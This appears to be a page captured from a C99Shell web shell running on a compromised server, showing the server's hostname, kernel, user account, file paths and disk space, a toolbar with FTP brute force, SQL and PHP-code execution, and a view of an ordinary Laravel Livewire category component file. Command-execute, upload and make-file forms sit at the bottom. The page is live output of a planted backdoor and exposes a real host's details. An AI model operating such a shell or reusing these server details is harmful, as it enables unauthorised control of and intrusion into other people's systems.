!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Livewire/   drwxr-xr-x
Free 28.38 GB of 117.98 GB (24.06%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CategorySubcategoryComponent.php (1.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Livewire;

use 
Livewire\Component;
use 
Modules\Category\Entities\Category;
use 
Modules\Category\Entities\SubCategory;

class 
CategorySubcategoryComponent extends Component
{
    public 
$category_modal false;

    public 
$active_category '';

    public 
$active_subcategory '';

    public 
$active_category_id '';

    public 
$active_subcategory_id '';

    public 
$categories = [];

    public 
$subCategories = [];

    public function 
mount($category_id null$subcategory_id null)
    {

        
// While Edit
        
if ($category_id && $subcategory_id) {
            
$this->subCategories SubCategory::active()->where('category_id'$category_id)->get();

            
$categories Category::active()->where('id'$category_id)->first();
            
$subCategories SubCategory::active()->where('id'$subcategory_id)->first();

            
$this->getSubCategories($category_id$categories->name);
            
$this->setSubCategory($subcategory_id$subCategories?->name);
        }

        
$this->categories Category::active()->get();
    }

    public function 
getSubCategories($id$name)
    {
        
$this->subCategories SubCategory::active()->where('category_id'$id)->get();
        
$this->active_category $name;
        
$this->active_category_id $id;

        
$this->active_subcategory '';
        
$this->active_subcategory_id '';
    }

    public function 
setSubCategory($id$name)
    {
        
$this->active_subcategory $name;
        
$this->active_subcategory_id $id;

        
$this->closeModal();
    }

    public function 
openModal()
    {
        
$this->category_modal true;
        
$this->dispatchBrowserEvent('contentChanged');
    }

    public function 
closeModal()
    {
        
$this->category_modal false;
    }

    public function 
render()
    {
        return 
view('livewire.category-subcategory-component');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0031 ]--